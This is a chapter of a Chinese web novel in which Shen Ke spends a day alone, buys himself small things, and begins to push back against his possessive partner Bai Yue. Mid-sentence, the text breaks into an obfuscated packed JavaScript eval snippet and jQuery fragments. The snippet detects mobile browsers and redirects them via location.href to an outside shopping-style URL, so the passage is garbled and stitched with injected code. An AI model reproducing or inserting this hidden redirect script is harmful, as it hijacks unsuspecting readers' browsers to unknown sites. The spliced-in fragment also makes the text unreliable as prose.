沈恪醒来后揉了揉眼睛，套上拖鞋推开门，刚走到楼下就愣住了。
白越蜷在沙发上，人太高了，脚悬在扶手外面，身上只搭了条薄毯。
沈恪走过去碰了碰他的额头，不烫。又去摸他的手，凉的。
他转身上楼，把自己那床厚被子抱下来，抖开，盖在白越身上。把被角掖进沙发垫下，，又拉了拉边缘，把他露在外面的手也盖住。
轻手轻脚地走进厨房烤了两片吐司，端着盘子回到客厅，坐在白越旁边小口小口地咬，时不时地看他一眼。
没醒。
沈恪把嘴里的吐司咽干净，又蹲回去，戳了戳白越的手背。
“白越。”他小声喊。
白越没动。
沈恪刚想再叫，楼上传来了开门声。祈愿站在楼梯口，头发乱糟糟的，眼睛还没完全睁开：“你家洗漱间在哪？”
沈恪站起身：“我带你去。”
刚要迈步，手腕被人攥住了。
白越不知什么时候睁开了眼，正望着他。
“怎么睡在这里？”沈恪声音放得很轻，“会感冒的。”
白越看着他，嘴唇动了动，最后只扯了下嘴角：
“怕你跑了。”
沈恪愣住了。
这话白越从没说过。换作以前，他会立刻告诉他“我不跑”。可现在，他不知道要说什么了。
他低下头，看着白越扣在他手腕上的手。
过了几秒。
“哦。”
白越的手指在沈恪腕骨上收紧，又松开。
这个字落进耳朵里，白越忽然不知道该接什么了。想问他是什么意思，是知道了，还是不想说了。可他看着沈恪的背影，一个字都没问出来。
祈愿抱着手臂看着底下。脸上没什么表情，目光在白越身上停了停，又收了回来。
“这边。”沈恪从他身边走过，往走廊尽头指了指。
祈愿跟在他身后：“他睡沙发的？”
“嗯。”沈恪推开洗漱间的门，从柜子里拿出新牙刷和毛巾递给他，“给你。早饭在茶几上。你先吃，我出去买点东西。”
“买什么？”
沈恪想了想：“不知道。就……出去走走。”
他转身往外走。
“你早饭就吃这点？”祈愿在身后问。
沈恪脚步顿了顿，回头看了一眼客厅。白越已经坐了起来，隔着一段距离，看不清神情。他又看向祈愿。
祈愿握着牙刷，没什么表情地盯着他看。
“我在外面随便再吃点。”沈恪的声音很轻，“你们不要吵架。”
没等两人回应，他转身下了楼。
白越已经坐直了身子，被子滑到腰际，靠在沙发上。他看着沈恪走近，张了张嘴：“宝……”
沈恪没有停。他从白越旁边走过去，拿起自己的手机塞进口袋，走到门口换鞋。
白越坐在沙发上看着他，把剩下的话咽了回去。
沈恪没回头。他拉开门，冷风灌进来，吹得他脖子缩了缩。
“我出去了。”
门在他身后轻轻合上。
客厅里安静了几秒。
白越望着那扇紧闭的门，一动不动。
身上的被子很厚，是沈恪房间里的那床。
他攥着被角，想笑，却没笑出来。
他应该去追。应该像以前那样，跟在后面，远远地看着，等他回来。或者卖惨，流泪，沈恪那么心软，每次都上当。
但他没动。
因为沈恪说“我出去了”。不是“我走了”，是“我出去了”，也没有拽绳子。
他会回来的。
会吗？
会回来的。
他在心里把这几个字翻来覆去地念，念到喉咙发干。
会的。
祈愿从楼上走下来，在他对面坐下，翘起腿，盯着他看了一会儿：“你就让他一个人出去？”
白越没说话。
祈愿嗤了一声，什么都没说，转身又上楼了。
……
沈恪去了那家常去的咖啡店，没狸猫一直在忙。
他坐在角落里，看着外卖员焦躁催促的背影，忽然开口：“你催她，她也快不了。急也没有用的。”
外卖员愣了，没狸猫也愣了。沈恪被两个人同时盯着，脸一下子红了。
外卖员看了他两秒，没说话，但也不催了。
没狸猫做完咖啡，擦着吧台，笑着看他：“你比第一次来的时候敢说话了。”
沈恪脸更红了：“我、还好……”
没狸猫没再逗他：“请你喝一杯？”
“可以要苦的吗？”
话出口了才有点后悔。苦的，他真的喝得惯吗？
白越每次给他点的都是甜的，他从来没自己选过。
可现在好不容易自己选一次，选个不一样的好了。
没狸猫挑眉：“美式？”
沈恪也不知道美式是什么，点了点头。
“我想喝最苦的那种。”
很快咖啡就端了上来，黑黑的，闻着就苦。他喝了一口，苦得皱眉头，但没放下，又喝了一口。
没狸猫把糖罐往他那边推了推。沈恪看了一眼，没动。
他小口小口地喝着，结果还是剩了半杯。
没狸猫笑了笑：“知道苦还点，下次换一个吧。”
沈恪摇摇头：“下次还点这个。”
“为什么？”
沈恪捧着杯子，想了很久。
以前只吃过药是苦的，现在又喝到了饮料的苦。不一样，但好像也没那么难接受。
“因为是我自己选的。”他小声说。
说完自己先愣了一下，耳朵悄悄红了。他小心地瞥了一眼没狸猫，见她还是面色如常，才扬起微笑：“但是很好喝，谢谢你。”
实在是苦得喝不完了。他也没勉强自己，把杯子放进回收台就推门走了。
街上没什么人。他沿着街边走，路过一家橱窗里摆着毛绒玩具的礼品店。
他停下来看了一眼。橱窗最里面缩着一只小鸡玩偶，黄黄的，圆滚滚的。
白越以前买过好几只一模一样的，一只一只塞进他怀里，说晚上抱着睡。
但那是白越买给他的，现在他可以买给自己了。
沈恪推开门走了进去，出来的时候手里多了个袋子。
他站在路边，摸了摸袋子里那只小鸡的头，软软的。
这是他买给自己的礼物。
不用问白越，也不用花白越的钱。
他提着袋子继续往前走。走了很久，走到太阳偏西。
旁边有个卖烤红薯的老伯，看了他好几眼才开口：“小伙子，等人呢？”
沈恪摇摇头。
老伯从炉子里夹出一个红薯递过来：“拿着，不要钱。”
沈恪接过来。红薯很烫，他左手换右手，右手换左手。
老伯笑了：“烫不知道说啊，找我要塑料袋啊。”
沈恪跟着笑了，把红薯掰开，吹了吹，咬了一口。很甜。
他把那个红薯吃完了。老伯收摊的时候朝他挥挥手，一句话没说。
沈恪点点头，把红薯皮扔进垃圾桶，转身往回走。
走了几步，他又停下来，回头看了一眼。老伯已经推着车走远了。
他站在原地，看着老伯推着车消失在街角。车轱辘碾过路面，吱呀吱呀的，越来越远。他忽然想，那个老伯今天卖了多少红薯？有没有人嫌贵？有没有人嫌不甜？明天还会来吗？会不会换一个路口？
他发现自己想不出来这些问题的答案。
因为他从来没见过老伯。今天之前，他连这条街上有卖红薯的都不知道。
他每天走的路，是白越走过的。去的店也是，吃的饭也是。白越没带他走过的，他一步都没踏出去过。
他从来没自己发现过什么。
他站在原地，低头看着自己的鞋尖。鞋是白越买的，衣服也是，连手机卡都是他办的。口袋里还有出门时他塞的零钱。花了多少？还剩多少？他不知道。从来没算过。
如果白越不在，他什么都不会。
腿有点软了，不知道是走累了还是别的什么。
不会点咖啡，不会买东西，连路都不认识。不会吵架，不会生气，不会说“想要”。他唯一会的就是等。等护士来查房，等妈妈来电话，等白越来接他。
好像他这辈子，就是在等人。
等到了，就安心了。等不到，就继续等。
他从没想过这个问题。现在想了，觉得有些喘不上气。
他站在路边，看着老伯消失的方向，站了很久。
风大了些，吹得他缩了缩脖子。他抬起头，路灯已经亮了，把影子拉得很长。他看着那个不像自己的影子，又想起祈愿说的那句话：“那才是你。”
那什么才是他呢？他自己在哪里？
他想了很久，脑子里还是空的。
他吸了吸鼻子，转过身，往家的方向走。
……
白越不知道自己坐了多久。
窗外的光从左边移到右边，又从右边消失。他没动。
口袋里那片橘子皮被他攥得发软，指尖捻着边缘，一下，一下。
楼上没动静，整栋房子安静得像空的。他盯着二楼那扇门，想着沈恪就在那扇门后面……不，沈恪不在。他坐在这里，沈恪在外面。
他站起来，走到窗边。街上没有人。看了一阵，又坐回去。坐不住，又站起来。还是没有人。
太阳渐渐大了。他做了午饭，端上桌，才反应过来沈恪不在家。筷子拿起又放下，最后还是把菜倒进了垃圾桶。
水龙头没关，手泡得发白，他看着那些皱褶，想起沈恪的手。沈恪的手很软，握过很多次，每一次都舍不得松。现在那只手在哪？在外面，冷风吹着，可能已经冻红了。
祈愿走过来，把水关了，又去厨房煮了碗面。白越还是没动。
天已经黑了。
他站在窗边，看着路灯一盏一盏亮起来。
如果沈恪真的不回来，他要怎么办？
沈恪会自己点咖啡了，会自己买东西了，会跟陌生人说话了。他好像……在试着往前走。
那他呢？
他会留在原地。
他怕。怕沈恪飞远了，就再也不回来了。更怕沈恪飞远了才发现，外面比这里好。
好像沈恪不回来，他的人生就卡在这里了，哪儿也去不了。
他站在窗边，看着空荡荡的街道。没有人。
他又重新躺回了沙发上，毯子拉到下巴，闭上眼睛。他翻了个身，把脸埋进毯子里。
再闻一下，就一下。
……
沈恪回到家推开门时，手里还拎着那个袋子。
白越从厨房走出来，脚步比平时快了些。他低头看了一眼沈恪的手，那里只有一个鼓鼓囊囊的袋子。
“回来了？”
“嗯。”沈恪把袋子往身后藏了藏，又觉得这个动作太奇怪，又拿出来，“买了点东西。”
白越没问是什么，只是点点头。
沈恪把袋子放在茶几上，走进厨房。垃圾桶里还留着倒掉的饭菜，他看了一眼，没说话。
白越站在厨房门口，看着他。
沈恪转过身，两个人差点撞上。他往后退了一步。
“怎么不吃饭？”
“不饿。”
“真的不饿吗？”
白越摇了摇头。
沈恪没说话，从冰箱里拿出剩菜放进微波炉。叮的一声，他端出来，放在白越面前：“吃吧。”
白越拿起筷子，吃了一口，又放下：“你不吃？”
“我在外面吃过了。”
白越点点头，低头继续吃。沈恪坐在一旁看着他，没有催。
等白越吃完，沈恪收拾碗筷。白越说“我来”，沈恪没让。
“你休息。”
白越坐在沙发上，望着沈恪在厨房洗碗的背影。
沈恪把碗放进橱柜，擦干手，转身要走。
“沈恪。”
他的动作停了。
白越没再说话。
沈恪等了一会儿，没等到下文，回过头。白越看着他，嘴唇动了动，最后只是轻轻弯了下嘴角。
“没什么。”
祈愿不知什么时候从楼上下来了，手臂搭在扶手上。
沈恪抬头看他，祈愿也低头看他。
“你俩够了没，真打算这么耗着？”
沈恪没说话。他从祈愿手臂下钻过去，上了楼。
祈愿没拦他。
他看着沈恪的背影消失在转角，手慢慢收了回来，插进口袋里。
……
晚上，三个人第一次坐在一张桌子上吃饭。
白越做了四个菜，沈恪帮忙摆碗筷，直到沈恪喊“吃饭了”，祈愿才慢吞吞走过来。
三个人围在餐桌前。沈恪低头吃饭，白越给他夹菜，他轻声说“谢谢”。
以前他不会说谢谢。白越给他夹菜，他就吃了，什么都不用说。现在他必须说谢谢，因为不说，就显得太理所当然了。
可他不想那样。
白越的手顿住了。
祈愿看了白越一眼，也夹了一筷子放进沈恪碗里。
沈恪愣了下，小声说：“……谢谢。”
白越夹一筷子，祈愿也夹。白越再夹，祈愿又夹。
沈恪的碗里堆起一座小山。他低头看着那碗菜，没动筷子。
以前他会乖乖吃完，怕他们不高兴。可现在他碗里堆了这么多，他有点烦。
安静了一会儿，他去厨房拿了双公筷，把菜一根一根夹回盘子里。
“我吃不下了。”
白越的筷子停在了半空。祈愿也停了一下，但很快低下头继续吃。
沈恪没看他们，低头把自己碗里的饭吃完，站起来：“我饱了。”
他转身上楼。两个人同时抬头，看着他的背影消失在楼梯口。
两人对视一眼，又同时移开。
……
沈恪躺在床上，抱着新买的玩偶发呆。
门外有很轻的呼吸声，偶尔有吸鼻子的声音。
他等了一会儿，那个声音还在。
他下了床，走到门边，手搭在门把上，没动。
站了几秒，才把门拉开。
白越站在门口，手抬到一半，像是正
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360735|198096||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要敲门。看见沈恪的那一刻，他愣了下，手慢慢放了下来。
沈恪看着他。白越的眼眶有点红，很慢地朝他伸出手。
沈恪没动。
那只手停在他肩膀前面一点的位置，指尖微微蜷着，没有再往前。
白越看了他几秒，把手收回去。
两个人都没说话。沈恪低着头，看着自己的脚。白越站在他面前，等他开口。
过了好一会儿，沈恪才出声，声音很轻：“……不许再睡沙发了，听到没。”
说完他自己先愣了一下。
他从来没对白越说过“不许”，一直都是白越对他说。
门不许开，手机不许用，祈愿不许找。
每次都是温柔的，笑着的。
但他不是要报复，也不是要还回去。他只是不想让白越睡沙发。那沙发太短了，白越的脚都悬在外面。
可话出口之后，他才发现自己心跳得很快。他不知道白越会怎么回，会不会觉得他在凶他。
过了好一会儿，白越垂着眼眸：“好，不睡了。”
沈恪看着他转身，忽然有点慌。
“白越。”
白越停下来，没回头。
沈恪张了张嘴，想说“我不是那个意思”，想说“我不是在凶你”。但那些话堵在喉咙里，说不出来。他不知道自己到底想说什么，只是觉得白越不该这样走掉。
白越等了几秒，没等到下文，帮他轻轻带上了门。
沈恪站在原地，看着关上的门，忽然有点懊恼。
白越是喜欢他的，可他到底在说什么。
他靠在门板上，心跳还没平复。
手机震了。拿起来一看，是温清然。
他愣了愣，接起：“温清然？”
温清然的声音从那头传来，懒洋洋的：“我就知道昨天那个未接来电是你。”
沈恪嗯了一声。
电话那头安静了几秒，温清然忽然开口，语气有点奇怪：“咋了？不开心？”
“……还好。”
“你还会扯谎了？”温清然嗤笑一声，“呦呵，学坏了啊。”
沈恪有些无语，无声笑了下。
他们三个现在都怪怪的，都在小心翼翼，只有温清然还在继续犯贱。
“行吧，你不想说我也懒得听。”温清然没等到沈恪回话，继续道，“你昨天打过来的时候我在做复查，所以没接。”
“等你想说了再给我打电话也行，反正我在病房闲得要死。”
“……谢谢。”
“真谢谢假谢谢啊？”温清然顿时兴奋了起来，“真谢谢的话，哪天换回来了，给我看看批呗？”
沈恪深吸一口气。
“你说话好恶心。”
说完自己先吓了一跳。
手指僵在屏幕上，心跳扑通扑通的，像是做了什么大逆不道的事。他下意识把手机拿远了一点，怕温清然从听筒里钻出来骂他。
电话那头安静了会，随即温清然爆笑出声：“哎哟我！会骂人了！你长硬骨头了啊！”
沈恪听着那笑声，先是懵，然后嘴角慢慢翘起来。什么时候翘的？他也不知道。
好像骂完那一下，就自己翘起来了。
他抿了抿唇，声音小了下去：“……不好吗？”
“你以前就是太乖了，谁看了都想欺负一下。不过你骂人跟撒娇一样，还怪得劲儿的，再多跟哥哥撒几句娇听听？”
沈恪没理他。
温清然笑够了，喘了口气：“行了不扯了，等会儿我爸妈要来看我，得装会儿乖宝宝。”
沈恪皱了皱眉，语气不自觉沉了点：“……那不是你爸妈。”
换作以前他绝不会这么说话的，可温清然那语气太想当然了。
不是的。
那是他的。
“我说是就是。”温清然的声音忽然低了下去，像自言自语，又像在跟他较劲。
沈恪没接话。
温清然等了会发现沈恪没回应，哼了一声。过了一会儿才开口，声音比刚才低了点：“占了你的位置，用了你的东西，我又不是不还。”
沈恪愣住了。
“行了，别瞎想。”温清然的语气恢复了平时那副吊儿郎当的样子，“你这身子我早不想要了，你爸妈我也会还你的。你知不知道抽烟抽不了、喝酒喝不了、连他妈熬夜都不行的日子有多难受？”
沈恪皱了皱眉，想说“他们不是东西”，但没说出来。
温清然立刻补了一句：“行了别感动，感动就给我看……”
“你闭嘴。”
“那我挂了啊。”
“别挂。”
电话那头安静了一会儿。
“……行，不挂。”
“祈愿没有和你说吗？”
“说啥？”
沈恪本想把这两天的事说给温清然。可话到嘴边，又一点点咽了回去。已经三个人都不开心了，没必要再扯一个人进来。
电话那头安静了一会。
温清然嗤笑了声，语气慢悠悠的，像在逗猫：“你看，我就说白越那人性子不行吧。”
沈恪没接话。以前他会说“不是的”，会替白越解释。但现在他好像不确定了。不是不信白越，是不确定自己该用什么身份去信。
“要不你甩了他跟我过算了，至少我还能给你哄得开开心心的。”
这人又在开什么不靠谱的玩笑了。
沈恪忍不住笑了，很短促的一声，从喉咙里漏出来的。笑完他自己也愣了。
电话那头安静了会。
“笑了？”温清然的声音轻了下来。
沈恪握着手机，忽然不知道该说什么。以前的温清然只会犯贱，现在会问他“笑了吗”。
“……嗯。”他小声说，声音有点哑。
温清然没再问。
“能笑就行。”他说，语气比刚才轻了很多。
沈恪忽然觉得鼻子有点酸。
“谢谢你。”沈恪说。说完又补了一句，语速很快：“你别下头。”
温清然嗤了一声：“行了，这次真挂了。”
没等沈恪回话，电话已经断了。
沈恪把手机放在床头柜上。
刚才说出好恶心的时候，他好像确实没那么怕了。
从前他怕说错话，怕别人不高兴。现在才发现，说出来也没什么大不了。
原来骂人也不会失去朋友。
原来他可以生气。
……
白越下了楼，在沙发上坐下。项圈还在脖子上，硌着皮肤。他伸手轻轻碰了碰。
沈恪说“不许再睡沙发”。
不是“不要”，是“不许”。
沈恪自己学会了这个词，然后对他说了。
白越说不清自己是高兴还是难过。
但至少，他说的是“不许再睡沙发”，不是“不许再来我房间”。
他刚要闭眼，想起沈恪那句叮嘱，又抱着被子站了起来，推开了书房的门。
书房里很暗。他没开灯，把被子放在书房角落的沙发椅上，躺了下去，翻了个身，从抽屉里摸出耳机。
沈恪的呼吸声很轻，一下一下的。他听着，慢慢放松了下来。